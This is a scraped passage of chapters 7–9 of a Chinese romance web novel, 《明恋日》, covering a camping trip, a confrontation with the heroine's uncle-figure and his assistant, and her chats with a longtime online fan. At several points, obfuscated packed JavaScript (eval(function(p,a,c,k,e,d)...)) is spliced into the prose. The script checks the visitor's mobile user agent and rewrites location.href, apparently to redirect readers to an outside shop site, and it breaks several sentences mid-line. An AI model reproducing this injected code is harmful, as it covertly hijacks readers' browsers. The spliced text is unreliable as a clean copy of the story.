《明恋日》 7. 痒意 顾蓁音回了景驰的消息,就被两个助理拉去拍视频素材。 安唯守在一旁,有点苦不堪言,有个当美食博主的闺蜜,可以吃到很多好吃的,但在吃东西之前,也需要等顾蓁音对着精致的食物各种打灯摆拍完,才能吃。 好在面对美食不能吃的煎熬没持续太久,顾蓁音很快就拍好需要的视频素材,将美食让出来:“大家可以吃了。” 顾蓁音的厨艺很好,尝过她手艺的人,没有说不好的。 吹着自然微风,聊着天,大家聚在一起吃着东西,开始玩牌,输的人需要回答赢的人一个问题,相当于真心话大冒险。 这一局恰好是顾蓁音输了,赢的人是安唯。 顾蓁音本以为好友会高抬贵手,结果安唯直视着顾蓁音:“说一件你瞒着我的事。” 顾蓁音和安唯好得就差穿同一条裤子,顾蓁音对她几乎是无话不说,但她确实有瞒着她的事。 顾蓁音想逃避,却被安唯一把抓住:“你肯定有事瞒着我,赶紧说!” 顾蓁音只能招了:“我在留学的时候,曾经有个朋友遇到了困难,我每个月偷偷打钱接济他,一连打了半年,最后发现对方比我有钱多了。” 安唯像是听到什么很荒谬的话,她问:“男的女的?” 顾蓁音:“……男的。” “顾蓁音!你居然用自己的零花钱去养男人!”安唯气得要死,“那个软饭硬吃的男的,是不是姓景的?!” 景驰也姓景,理论上来说,安唯好像也没说错。 顾蓁音含糊道:“他后来还钱了的,连带着利息一起还的,我没吃亏。” 后来景驰发现她打钱,直接还了十倍,他说是连本带利还钱,但这个连本带利也太多了,她根本就没有吃亏。 听到顾蓁音没吃亏,安唯半信半疑:“真的?” 顾蓁音点头如捣蒜:“真的真的!” 安唯放过了她,但她的目光却透过顾蓁音,径直看向她身后。 “景驰?” 顾蓁音下意识转身循去,却看到了景驰正朝她这边走来。 他身形颀长挺拔,又长了一张帅得惨绝人寰的脸,即使是身着最简单的白衣灰裤,仍然在人群中格外引人注目。 景驰停在不远不近的位置:“我来接Sunny回家。” 安唯招呼他坐下:“景驰,这么着急走干什么?你要是没什么事,那就坐下来和我们一起吃东西,Sunny看起来也不太想回家。” Sunny趴在地上,委屈地嘤嘤叫,显然不愿意走。 景驰弯了弯唇,看向顾蓁音,询问道:“可以吗?” 虽然是疑问句,但景驰的动作却毫不见外,他从善如流地在顾蓁音身边坐下,自然得仿佛在自己家,根本没有和她客气的意思。 顾蓁音看着他毫不见外的态度:“……你都坐下了,我总不能赶你走。” 为此,顾蓁音甚至都怀疑他的真实目的,他到底是来接Sunny,还是单纯来蹭吃蹭喝。 心里有疑问,她自然得说出来,顾蓁音语气暗含怀疑:“你这次过来有什么目的?你到底是来接Sunny,还是来蹭吃蹭喝的?” 阳光下,她的脸庞格外白皙清透,眼眸像水润的黑琉璃,看起来漂亮又娇气。 景驰漫不经心道:“都不是。” 顾蓁音:“?” 景驰看了她一眼,薄唇勾起,带着几分混球的痞气:“我只是为了和你多相处相处,音音公主。” 意想不到的回答,却让顾蓁音有些差点招架不住,顾蓁音恨不得一把捂住景驰的嘴,将他拖走。 好在周围只有他们俩,这句话没有其他人听到,但不远处的安唯似有所感,朝这边看过来。 顾蓁音忍不住将折叠凳往他那边挪了挪,她压低声音:“你到底想干什么?” “昨晚我说的话,一直都作数,我是认真的,起码让我在你面前表现表现。”景驰目光扫视一圈,最后定格在顾蓁音脸上,“所以有什么需要我做的?” 她对他的话还是持有怀疑态度,但有免费的劳动力,白要白不要。 顾蓁音有些不自然,她站起身,轻咳一声:“你负责洗菜就行,其他的不许动。” 她很清楚,景驰天生在做饭这件事上毫无天赋,普通人做饭最多做得难吃,他做的饭,有毒。 她之所以这么清楚,是因为她曾经深受其害,高中的时候,就因为吃了景驰做的菜,食物中毒,被送到医院吊水。 交代完任务,顾蓁音去帮忙腌肉,一旁的宋悠可小声问:“老板,你什么时候认识这种超级大帅哥?” 顾蓁音:“从小就认识。” 宋悠可:“很帅啊,帅得可以进娱乐圈那种。” 这句话顾蓁音倒是认同,景驰确实是长了一张无懈可击的帅脸。 另一个助理苏纯也附和:“要不让你的帅哥朋友出个镜,我们这一期的数据可能差不了。” 顾蓁音心中一动,她突然想起,这一期视频的推广是防晒霜,她完全可以让景驰出镜展示。 “我们这一次要拍的防晒霜在哪儿?” 话音刚落,顾蓁音只觉得耳后肌肤火辣辣的痒痛,她下意识想要伸手去碰,抬起手才后知后觉发现自己带着手套,不得已,她只能放下手。 宋悠可发现了端倪:“老板,你怎么了?” “我好像被蚊子咬了。”顾蓁音耷拉着小脸,“耳朵后面好痒好痛……” 虽然亲近大自然很好,但蚊子也很多,顾蓁音喷了驱蚊喷雾,仍然被蚊子咬了好几个包。 顾蓁音痒得难受,想要让安唯来给她抹点清凉油,但转身看到安唯正拿着一串烤鸡翅,吃得开心,猝不及防被顾蓁音叫了声,她探头:“姐妹,你认真的吗?我现在手上都是油。” 顾蓁音扫了一圈,发现每个人都各司其职,有在切肉的,有在烧烤的,有在吃东西的,大家都有事干,但有个人,却遥遥和她对望。 景驰。 她和他四目相对,景驰像是接收到信号,很自觉走过来:“怎么了。” 安唯率先开口:“音音耳后被蚊子咬了,想让你帮忙给她涂药。” 顾蓁音正要反驳,景驰却先一步上前,倾身查看她的耳后,他的声音沉下来,多了点严肃:“确实被咬了。” 景驰拿来清凉油,用手轻轻触碰她的耳后,一点点涂抹,他的手刚刚沾过水,指腹微凉,触碰在痒处,凉凉的,很舒服。 他又问:“除了耳后,还有哪里?” 顾蓁音有些僵硬,她抬了抬脖子:“……脖子好像也被咬了。” 他凑得很近,近得顾蓁音能嗅到他身上浅淡的香气,是有些清苦的柑橘气息,萦绕着清润的水汽,像是雨后的橘子树,清新自然,混合着清凉油的凉苦味,杂糅成一种奇妙的气味,只存在他和她之间。 景驰的指腹温热,在她的皮肤上游走,她脖颈上的皮肤太嫩太薄,能清晰感知到指腹的薄茧不轻不重地按揉着皮肤,存在感让人无法忽略。 她悄悄垂眸,看到景驰的脸,他涂药的时候很认真,眼睫微微垂下,有种气质斐然的帅感。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16223096|181607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她咽了咽唾液,只觉得原本的痒,好像没有得到缓解,反而变本加厉。 片刻,景驰放下清凉油,他碰了碰红肿的位置:“还痒吗?” “……好多了。”顾蓁音低声,“谢谢。” 景驰懒懒笑了声:“应该的,毕竟我现在是公主的考察对象,表现要好点。” 他将清凉油拧上:“还有别的事吗?” 顾蓁音没有犹豫:“有。” 景驰没料到她会这样说,不由饶有兴致地挑了挑眉:“什么?” 顾蓁音轻声问:“我这期视频要推广一个品牌的防晒霜,你方不方便,出个镜?” 景驰倒是没有拒绝:“你想怎么拍?” 见景驰愿意配合,顾蓁音露出了点笑,态度也殷勤不少:“很简单的,你把防晒霜涂抹在脸上,展示防晒霜的质地就好。” 但他却突然来了句:“我自己涂?” 顾蓁音下意识答:“当然,难道你想要我给你涂防晒霜?” 景驰理直气壮:“不应该吗?” 顾蓁音:“我的手刚刚碰过生肉。” 景驰:“我不介意,我的手刚刚还给你涂了清凉油。” 拿人手软吃人嘴短,顾蓁音妥协了,露营地有水龙头,她仔仔细细地洗干净手,找出推广的防晒霜,准备开始拍。 顾蓁音拿着相机,一边拍摄,一边往他脸上涂防晒霜,她的指尖沾着白色膏体,小心翼翼地往他脸颊抹。 防晒霜的质地很轻薄,指尖划过他的好看的眉骨,顾蓁音第一次如此细致地触碰异性的脸庞,难得有些不自在,纤细的手指稍稍停滞,才接着继续涂抹。 景驰垂眸,视线很直白地落在她脸上,他像是看穿她的拘束,笑了声:“你没有摸过男人的脸吗?” 顾蓁音像是被人戳中心事:“你话怎么这么多?” 他不依不饶地追问:“小叔呢?” 顾蓁音当然没有摸过,她一直以来只敢小心翼翼地暗恋,而且景逸琛性格冷淡,她根本没有和他有过什么身体接触。 但她不太想让景驰看出她惨烈的暗恋窘态,她选择沉默。 “对了。”景驰突然问,“你昨晚,是不是没有回小叔消息?” 顾蓁音愣住。 - 景逸琛坐在餐厅里,从天色渐暗等到夜幕降临,却迟迟等不到顾蓁音。 他的眉头越皱越紧,心中的烦躁感烧得他有些坐立难安,不知怎么,他总觉得,好像有什么东西,已经失去了掌控。 早在顾蓁音在昨天就拉黑了他的号码和微信,他却没有放在心上,只当她是一时赌气,到了晚上,她仍然会按时赴约。 但,顾蓁音却没有来。 在焦灼的等待中,景逸琛无端想起过去的顾蓁音。 往日的顾蓁音,总是喜欢叽叽喳喳地和他说话,少女的嗓音脆生生的,不厌其烦地和他分享她的生活趣事,无论是大事小事,什么都说,像一只百灵鸟。 但他却嫌她烦,不会认真听,每当顾蓁音察觉他的心不在焉,她会拖长音调抱怨:“景逸琛,你有没有在听我讲话?” 他觉得顾蓁音年纪太小,至此之后每一年的生日,顾蓁音就连生日愿望都是:“我想要快点长大。” 点点滴滴如浮上心头,景逸琛拿起手机,正想给助理夏霜打电话,却不小心点开了好友动态。 最新的是景驰的好友动态,只有一张图。 阳光,树林,美好的画面。 他看到,顾蓁音正踮起脚,倾身给景驰涂防晒霜。 8. 洗脑(小修) 太阳渐渐下沉,暮色四起,天幕低垂,直到天边最后一抹夕阳被吞没,世界陷入蓝调时刻。 露营地亮起橘黄色的小灯串,传来热闹的说笑声,顾蓁音在煮关东煮,热气腾腾的白雾氤氲模糊了灯色,食物香气随着腾起的白雾,消弭于空气中。 顾蓁音分了一块没有腌料的清水牛肉给Sunny,小狗吃得很开心。 顾蓁音的手机弹出几条陌生的未接来电,还有两条来自景逸琛助理夏霜的未接来电。 昨天晚上,景逸琛说过,今天晚上会陪她补过生日,但她没有任何回复,也没有赴约。 顾蓁音能猜得出,她放了景逸琛鸽子这件事,让景逸琛很生气,但因为她拉黑了景逸琛,他只能用其他号码给她打电话,但无一例外,都被她拒接拉黑了。 景驰的肩膀不经意挨着她:“你猜小叔现在在干什么?” 顾蓁音愣了愣,答道:“生气。” 毕竟她放了景逸琛鸽子,景逸琛这种高高在上的人,估计能气得半死,但景逸琛再生气,已经和现在的她无关。 景驰很轻地笑了,语气中却是十足的笃定:“他会来找你的,信不信?” 顾蓁音将烫熟的豆腐串分给景驰,认真道:“不信。” 这是实话,顾蓁音不太相信,景逸琛是很骄傲的人,他的自尊心不允许他低头,遇到这种情况,他也只会和她冷战,等着她低头。 她用筷子轻轻戳了戳炖得软烂的萝卜,沉默着蜷起手指,轻声说:“放心,他不会来找我的,我在他心里,分量没有这么重。” 景驰不置可否,他托腮,目光直勾勾的:“要打赌吗?” “要是小叔来了,你考虑考虑我昨晚的提议……” 顾蓁音直接掐断他后面的话,没好气:“不赌。” 一抬眼,顾蓁音却发现安唯用很暧昧的眼神看着她,还在拼命用眼神示意她看手机。 顾蓁音低头,看到安唯发来的消息。 安唯:【我从今天下午就一直想问,你和景驰怎么回事?】 安唯:【我昨天光顾着骂景逸琛了,老爷子到底和你说了什么?】 安唯:【老爷子该不会真的让你把结婚对象换成景驰吧!所以让景驰来和你接触!】 安唯:【如果是真的,我支持景驰上位!】 顾蓁音看完消息,只觉得眼皮直跳,安唯这个人敏锐度一绝,居然把事情猜得八九不离十。 顾蓁音很心虚地强作镇定:【……没有的事,真的只是碰巧。】 安唯发了个贱兮兮的表情包:【行行行,碰巧碰巧。】 一抬头,安唯就朝她投了个“我懂的”的媚眼,顾蓁音被她油腻到了。 手机再次弹出来电,顾蓁音下意识心中一紧,以为是景逸琛的,但这次却是姐姐顾韫珠的来电。 她站起身,找了个稍微僻静的地方接电话:“姐,找我有事?” 顾韫珠嗯了声:“在干嘛呢?” “在和朋友他们露营。”顾蓁音看了眼帐篷那边,又收回视线。 顾韫珠:“你晚上有空的话,就回家一趟,如果今晚要露营过夜,明天再回家也行,先好好玩。” 她叹了口气,阴阳怪气:“某人就光顾着失恋,伤春悲秋,回来也不回家看看我和爸妈。” 顾蓁音摸了摸鼻子:“不用不用,我今晚就回去。” 姐姐的话,顾蓁音还是要听的,她回到帐篷,和安唯她们说自己要回父母家一趟,现在要提前回去。 景驰也跟着站起身:“我送你回去。” 安唯喜闻乐见,很热情地赶他们走:“没问题,景驰你先送她回去,我们再玩一会。” 顾蓁音让安唯送她的两个助理回家,安唯答应得很爽快:“你的两个小助理放心交给我,我保证全须全尾送人回家。” 顾蓁音交代了两个助理几句,就和景驰离开,但走到快到停车场时,顾蓁音发现自己的外衫落在露营地里。 景驰:“我回去帮你拿。” 顾蓁音看了眼路,还有几步路就到停车场,她不太想往回走:“那我先去停车场那边等你。” 景驰看了眼四周,很亮很安全,他把车钥匙递给她:“行,你去车里等我。” 顾蓁音独自一人走向露营地的露天停车场,因为是私人管理经营的露营地,周围都装着灯和提示牌,她很轻易就找到了停车场。 昏暗夜色里,她只能看到一道模糊的人影倚在一辆车前,只余星星点点的烟头亮着,烟灰摇摇欲坠。 “蓁音。” 听到熟悉的声音,她的心还是因为习惯,狂跳一下。 她抬头看去,只见景逸琛已经站直身体,目光深沉地看着她,他的脚边有几个明明灭灭未熄灭的烟头。 他在烦躁的时候,喜欢抽烟,原先一丝不苟的西装领带,也被他粗暴地扯松,泛起不规整的皱褶,显然,他在这里等了她很久。 景逸琛看到出现的顾蓁音,不知为何,失去掌控的感觉愈发明显,他心脏不安地跳动着,他忍不住焦躁地掐灭烟头,脸色冷得吓人。 他命令道:“蓁音,过来。” 因为抽了不少烟,景逸琛出声时,嗓音是极致压抑的沙哑。 但顾蓁音只是站定在原地,遥遥看向他,没有过去的意思。 此时,景逸琛身侧的车门打开,走出一个女人,顾蓁音这才发现,除了景逸琛,还有另外一个,顾蓁音不太想见到的人。 景逸琛的助理,夏霜。 夏霜是景逸琛资助的学妹,毕业后就进了景逸琛所在的公司,成为他的助理。 夏霜长着一张清秀无害的脸,身形瘦削,她此时站在夜色里,有种弱不禁风的可怜劲儿。 夏霜朝她走来,嗓音很柔:“顾小姐,景总在餐厅等了你两个小时,都没有等到你。” “你还因为景总生日的事生气吗?当时确实是我工作疏忽,没有及时通知您,景总晚上有会议。” 她像是很委屈,嗓音也柔柔弱弱的:“如果顾小姐还没消气,我可以和你道歉的。” 顾蓁音看着她,点点头:“那你和我道个歉吧。” 夏霜愣住了,没想到顾蓁音真的要她道歉,她不由求助般看向身后的景逸琛:“景总……” 景逸琛显然蕴含着很重的怒气,他上前,语气极其不耐:“有必要吗?我都说了,今天陪你补过生日,你又耍性子不来,还要和景驰待在一起,你到底想怎么样!这点小事你还要闹到什么时候!” 心脏好像只是很轻微地钝痛一瞬,很快就恢复平静,她看着他,很平静:“我没有在闹,我说过,之前是我任意妄为,以后我都不会再打乱你的安排,也不会再继续打扰你了,小叔叔。” 顾蓁音的小叔叔三个字,让景逸琛的烦躁愈发明显,他想要伸手拉住顾蓁音的手腕,将人拽走,但就在触碰前一秒,顾蓁音的身侧却突然窜出一道黑影,Sunny如闪电般冲上去,对着夏霜和景逸琛大声狂吠。 陨石边牧是大型犬,爆冲扑上去的时候,还是将夏霜吓得失声尖叫,拼命往后退,躲在景逸琛的身后,没了那股柔柔弱弱的形象。 “Sunny,回来。” 景驰的声音由身后传来,但Sunny只是后退几步,没再狂吠,它还是一脸警惕地盯着两人看,喉咙发出沉闷的低吼声。 景逸琛将夏霜护在身后,他的脸色也不太好看:“景驰,看好你的狗。” 景驰拉着牵引绳,姿态闲适站在顾蓁音的身侧,温热的掌心握住顾蓁音的手腕,将她往后带:“小叔你放心,Sunny很聪明,不会误伤无辜。” “就算它伤了不怀好意的人。”他突然很轻地笑了笑,语气肆无忌惮,“多少医药费我都赔得起。” 他这番话说得狂妄至极,根本没有把景逸琛放在眼里。 说完,景驰状似无意地揉了揉小狗脑袋,语气宠溺:“宝宝,别什么东西都想咬,也不怕有毒。” 夏霜的脸色唰一下变了。 景逸琛沉声警告:“景驰,我是你小叔,这是我和蓁音的事,长辈的事,你不要插手。” “我就算是插手,你又能怎样?” 景驰轻笑一声:“你除了空有一个小叔的名头,比我老六岁,你还有哪一点可以压我?” “你的小助理不是要道歉吗?怎么不继续?” 景驰不太走心地扫了眼脸色难看的夏霜,他掀起薄薄眼皮,似笑非笑地看着景逸琛:“小叔,作为小辈,我好心奉劝一句,如果你的助理连这些小事都处理不好,我建议你换一个工作能力强的。” 景驰的声音像是冰镇过,很冷:“这么拎不清,哪天把你的工作搞砸了,希望小叔你还能慷他人之慨,大度原谅。” “至于补过生日,似乎从头到尾,都是你自己在自作主张而已。” 景逸琛的脸色极其难看,阴沉得仿佛能滴出水,他没有理会景驰,只是再次看向顾蓁音,语调带着几分风雨欲来的压抑:“蓁音,你也这样觉得?” 顾蓁音很轻地说了声:“是。” 景逸琛像是被什么击中,微不可查地僵直瞬间,随后他沉默地打开车门上车,砰一声用力关上,夏霜也跟着上了副驾驶,开车离开。 景驰啧了声,索然无味:“小叔还是这么喜欢生气。” 顾蓁音却看向景驰:“我以前怎么没发现,你骂人的时候,嘴还挺毒。” 景驰也垂眸看她:“不好吗?起码能帮你出气。” 明明四周昏暗,但他的眼眸却很清亮,顾蓁音的心底泛起很微小的触动,像一颗小石子被投掷入平静的心湖中,溅起一圈圈涟漪。 这种情绪可能是感动。 顾蓁音:“其实我也可以吵得过他们的。” 景驰扯唇笑了:“得了吧,就你那吵架水平,还和人没说几句,眼泪就跟断线珍珠似的,噼里啪啦先下来了。” 顾蓁音无话可说,她有典型的吵架泪失禁体质,和人争论吵架,先把自己气到哭,话断断续续说到一半,就抽抽噎噎起来,气势就先比别人弱了一半。 但顾蓁音还是好奇:“你什么时候嘴这么毒了?” “锻炼出来的。”景驰轻描淡写,“我读研的时候,天天被我的导师骂,他要求高,脾气很差,骂人也狠,整个华大估计都找不出第二个骂人比他狠的老师。” 他双手抱臂,微微垂下眼,嗓音轻慢:“怎么?我嘴太毒要扣我印象分了?音音公主?” 话题再次被他扯回结婚上。 顾蓁音却眨了眨眼,慢吞吞道:“还好,我觉得是优点,不过你变化有点大,我一下子没办法适应,我还在英国读书的时候,你还比较……温和有素质。” 顾蓁音和景驰关系最好,来往最密切的时候,是她在英国留学的那段时光。 当时他们分隔两地,他在北城,她在伦敦,冬天隔了八小时时差,夏天隔了七小时时差,却是他们关系最好的时光。 起因很简单,也很突然,当时她一个人在英国读书,某天收到景驰的消息,说他有事要去伦敦一趟,问她有没有什么东西想要的,他可以顺便带过去。 这个消息对于顾蓁音来说,简直是她的及时雨,顾蓁音立刻罗列了一长条清单,给景驰发过去。 几天后,景驰如约出现在她面前,还从国内带了很多她日思夜想的零食和调味品,她高兴得请景驰吃了顿饭。 至此,景驰每一两个月,都会来伦敦一趟,顾蓁音好奇他到底有什么事,要每个月都来伦敦,景驰说是他爸有个海外客户要维护,所以每个月让他过来一趟,景驰每次都会人肉快递给她带很多东西,这个习惯一直持续了三年,一直到她大学毕业,无一例外,风雨无阻。 只是后来毕业回国,她选择跟随景逸琛,定居在江城,而景驰继续在北城读研,两人都在国内,没了人肉快递这条线支撑,她和景驰的联系,也渐渐少了很多。 时光模糊了旧日的剪影,景驰好像变了,又好像没变,但他却是以更加鲜活的姿态,重新闯入她的生活。 他却勾起薄唇,扬起很淡的笑弧:“那只是对你比较有素质。” “而且人总是会变的。”他打开副驾驶的车门,用手挡住车顶边缘,示意顾蓁音上车。 “或许有时候,太温和隐忍,不是什么好事,想得到的人或物也会失之交臂。” 顾蓁音不太懂他这句话的意思。 景驰开车,从露营地驶向市区,抵达顾蓁音父母住的别墅区,已经是晚上十点,顾蓁音刚要下车,却听到景驰看向车窗外,叫了声。 “韫珠姐。” “小驰,好久不见。” 顾蓁音抬头望去,就看到她姐顾韫珠正站在门口当门神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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顾韫珠一边往家里走,一边说:“景爷爷说的事,爸妈和我都知道了,景爷爷还给了你第三个选择,婚约作废是不是?” 顾蓁音试探问道:“姐,如果我和景家的婚约作废,那我——” 顾韫珠冷酷无情地吓唬她:“哦,我们会把你送去联姻。” 她拿出手机:“正好,我这儿已经有了几个人选,给你挑挑。” “第一个是李家的李二少爷。”顾韫珠把手机凑过去,让她看照片。 顾蓁音看得眼前一黑。 “你还是不是我亲姐!”顾蓁音不可置信,心里话不由自主脱口而出,“这个李少爷都没有景驰一根头发丝好看!” 顾韫珠收好手机,幽幽道:“那你的意思是想嫁给景驰?” 顾蓁音噎住了。 都怪景驰,不停地对她洗脑嫁给他的好处,导致她现在看到一个异性,都下意识拉景驰出来对比一圈。 “我没说我想嫁给景驰……” 顾韫珠睨着她:“你们关系不是很好吗?” 顾韫珠揶揄道:“当年他大学创业遇到困难,被家里人断了生活费,是谁偷偷打钱接济他?” “又是谁拿着自己小金库的钱,让我以其他人的名义,偷偷投资他的游戏公司?” 景驰大三的时候,和同学创立的游戏公司已经初具雏形,先后已经上线了两款独立游戏,反响还不错,当时景驰不满足于只做独立游戏,他打算转战手游赛道,景驰和投资方签了对赌协议,需要保证游戏上线盈利达到协议对应的金额,如果没达到协议,需要赔款给投资方,而且景驰作为游戏主创,也需要按比例投入资金,她不清楚景驰投了多少资金,她只知道,最后这个游戏项目出了些状况,景驰赔得血本无归。 当时景驰和家里闹了些不愉快,听说还被断了生活费,不支持他继续创业,是她从零花钱拿出一百万,借着姐姐顾韫珠的名义,在景驰公司天使轮的时候,参与了融资,获得一部分股权,成了他的天使投资人。 在投资之前,顾韫珠再三和她确认,这是风险投资,有可能会全部打水漂,一百万有去无回,但顾蓁音的心态很好,毕竟是风险投资,赔了就赔了,这个风险她承担得起。 投资看到回报的时间拉得很长,久得顾蓁音差点忘了还有这一回事时,姐姐顾韫珠却突然告诉她,景驰想要回收她手上的股权,她当年投入一百万得到的股权,在两年后,市值已经达到了五千万。 她让顾韫珠把这份股权全部卖给景驰,她得到了五千万的巨款,顾蓁音这辈子都没靠自己赚过这么多钱。 顾蓁音对投资金融这些完全一窍不通,但她误打误撞,投到了这辈子最成功的一次投资——景驰。 只不过这件事,景驰不知道。 “那是我和他关系好。”顾蓁音躺在沙发上,用枕头蒙住脸,“关系好不代表我对他有意思,我之前喜欢谁,你又不是不知道。” 她闷声补充:“而且安唯当时开咖啡店,我也给她砸过钱。” 顾韫珠叹口气,她这个妹妹,性格单纯善良,对朋友更是好得没话说,什么都好,但就是在感情上一根筋,犟得不行。 她往顾蓁音的身边一坐:“那你对景逸琛到底怎么想的?” 顾韫珠语重心长:“音音,你不能为了他一再退让,失去自我。” “因为爱是相互的,就像是一架天平,你不断地往上加砝码,最终天平也会彻底失衡,感情也一样,如果你只是一味地付出,没有回馈,这段关系,最终也会被单方面付出的爱压垮。” “我知道。”顾蓁音终于露出一双眼睛,“姐,你早点休息。” 顾韫珠知道一切都要顾蓁音自己想清楚,她也没打算继续长篇大论,利落站起身离开。 顾蓁音有气无力地回到自己房间,抱来电脑,开始整理剪辑今天的视频素材,她在第二天的早上,发布了新的视频。 ——您的特别关注@咖啡音音发了视频。 【大家好久不见~最近在搬家以及处理一些事,大家久等啦!】 视频发布不到十分钟,评论区瞬间刷新出不少评论。 【音师傅终于更新啦!】 【音师傅和朋友去露营了吗?看起来好好吃!】 【老婆好久没更新了,一打开就是老婆的更新视频呜呜呜,谁懂!】 【音音的IP变了耶!是搬回北城了吗!我和老婆呼吸同一个城市的空气,是谁嫉妒了!!】 【首评怎么还是糯米糍!夺妻之仇不共戴天啊啊啊!!】 顾蓁音抬眼,热评第一,依旧是无比眼熟的ID。 绿茶糯米糍chi:【老婆今天也超级可爱。】 9. 粉丝 热评第一的绿茶糯米糍,是她最早最活跃的粉丝。 在她这个博主账号粉丝体量两位数的时候,这个粉丝就已经频繁在她视频下评论留言了。 对方的每一次留言都很认真暖心,在寂寂无名的那段时间,顾蓁音每次发视频,都会期待着对方的第一个评论。 她曾经因为好奇,点进去对方的主页,性别显示为女,没有发布任何作品,虽然很神秘,但看起来是一个很温柔的女孩子。 本来两人的交集互动只停留在评论区,但有一天,绿茶糯米糍却私信了她。 对方问她能不能加微信,她有些厨艺问题想要请教顾蓁音。 顾蓁音没有拒绝,和她互加了微信,原来是糯米糍想做蛋糕,但一些细节问题不大懂,面对支持自己的粉丝,顾蓁音很热情为糯米糍一一解答疑惑,她当时还很期待糯米糍在她的指导下,能做出完美的蛋糕,但过了许久,对方发来一张成品照片。 图片里的东西,与其说是蛋糕,不如说是一个薄薄扁扁的蛋饼,完全没有发起来,一言难尽,顾蓁音确定了,绿茶糯米糍在做饭上简直毫无天赋。 至此之后,绿茶糯米糍隔三差五会在微信上和她聊天,聊天内容不再局限于厨艺问题,慢慢渗透到生活,顾蓁音一开始还有些防备心,她担心对方是什么杀猪盘,哪天就把她骗财骗色了,但一聊就聊了六年,事实证明,杀猪盘放长线钓大鱼也不会这么久,对方真的只是单纯和她聊天,没有任何骗财骗色的迹象。 安唯当时还警告她,让她少说点,小心哪天糯米糍脱粉回踩,把她的这些黑料全部爆出来。 但顾蓁音是个管不住嘴的,把自己的事情抖了个干净,而糯米糍的个人情况,顾蓁音也大致了解,糯米糍应该是一个酷姐,比她大一点,在游戏公司上班。 好在到目前为止,对方也没有脱粉回踩,更没有泄露她的任何个人私事,所以顾蓁音对糯米糍很信任。 “叮咚”一声,打断了顾蓁音的思绪,微信弹出条消息,正好来自绿茶糯米糍。 绿茶糯米糍:【你和那个老男人表白失败了?心情不好?】 顾蓁音和糯米糍认识了快六年,所以糯米糍大致清楚她和景逸琛的情感纠葛,不知怎么,糯米糍莫名很讨厌景逸琛,喜欢称呼他为老男人。 流泪咖啡因:【嗯,但我最近烦心的是另一件事,我的竹马,想要和我协议结婚。】 绿茶糯米糍:【他长得怎么样?】 流泪咖啡因:【就是今天视频里那个。】 这期视频里景驰的镜头,她裁剪了一部分,只保留了下半张脸,虽然没有将全脸露出来,但棱角分明的下颌轮廓,还是让评论区不少粉丝都注意到景驰。 【虽然没有露全脸,但我感觉是个帅哥!】 【这是新的助理吗音音!居然是个男生耶!】 【音音你还亲自给人家涂防晒霜,难道我的老婆要有新老公了呜呜呜……】 顾蓁音回复澄清:【不是啦,是友情出镜的好朋友。】 澄清后,好奇的粉丝少了不少,大家没有继续把注意力停留在景驰上。 绿茶糯米糍没再弹消息,应该是去看视频里的景驰,过了一会儿,绿茶糯米糍再次发来消息。 绿茶糯米糍:【看起来很帅,和你挺配的。】 流泪咖啡因:【只露了半张脸不到,你怎么看出来他长得帅的?还和我很配?】 绿茶糯米糍:【凭感觉。】 绿茶糯米糍:【虽然只有半张脸,但看起来帅得惊为天人。】 顾蓁音少见糯米糍对某个男性评价这么高,她有点惊讶。 流泪咖啡因:【好吧,他本人长得确实很帅,难道你喜欢这种类型?正好你和他是同行,也是游戏行业,应该很有共同话题,他最近好像急着结婚,你喜欢的话,我可以把他介绍给你。】 对面安静了好一会,才发来三个字。 【不需要。】 不知怎么,顾蓁音感觉对方隐隐透出几分情绪,似乎很不高兴。 流泪咖啡因:【对不起,我以为你喜欢这种,别往心里去。】 绿茶糯米糍:【那你怎么想?其实我觉得同龄人和你更合得来,老男人都三十岁了,脾气暴躁不说,说不定精力也不好,这种年轻帅哥刚刚好,你和他结婚不会吃亏的。】 流泪咖啡因:【停停停,我没有和他结婚的打算,退一万步讲,就算我和他结婚,我和他最多只是协议婚姻,没有夫妻之实,谁会关注他精力好不好?】 流泪咖啡因:【他人很好,可是我只把他当好朋友,没有其他的感觉。】 景驰应该也一样,两个毫无感情的人凑在一起,只是毫无感情地搭伙过日子罢了。 顾蓁音知道自己这个人挺窝囊的,脾气几乎没有,属于别人踩她一脚,她会先说对不起的程度。 惹了她,相当于踢到棉花。 可能景驰也觉得她脾气好,才千挑万选挑中了她。 绿茶糯米糍:【你觉得他人很好?】 流泪咖啡因:【嗯嗯,在我账号没做起来之前,他在技术层面和资源上帮了我很多,我视频的开头结尾都是他设计的动画;我当时留学,很多做菜的调味料都是他亲自人肉带到伦敦的,他帮了我很多。】 一开始视频没什么流量,景驰曾经和她说过,可以弄个有特色的开头和结尾,视频剪辑得更有趣些,他还特地手把手教她剪了几次视频,好在她大学学的是传媒,刚好专业对口,。 绿茶糯米糍:【既然你对他的观感不错,你可以和他试试。】 流泪咖啡因:【?怎么试?】 绿茶糯米糍:【先婚后爱懂不懂?感情可以慢慢培养。】 顾蓁音有些无语,她打字回复:【少看点言情,你现在的首要任务是卸载晋江小说。】 绿茶糯米糍:【。】 对方说一会有个会,没再继续和她闲聊,顾蓁音百无聊赖地起床,下了楼。 保姆阿姨见她起了床,把一直温着的燕窝炖奶端出来:“这是大小姐吩咐的。” 顾蓁音道了声谢,一边吃着燕窝,继续刷着手机,正当她往下刷着视频,却发现有个短视频互关好友,给她发了张照片。 顾蓁音手一顿,对方是夏霜。 曾几何时,她对夏霜这个姐姐并不讨厌,她还会经常送她礼物,带她逛街买东西,在这种情况下,她和夏霜互关了短视频账号。 顾蓁音点开照片,照片里是暗色熟悉的车厢内,一个挂在后视镜上的奶黄色玩偶。 照片里是景逸琛的车,而那个玩偶,则是她亲手挂上去的。 夏霜:【顾小姐, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 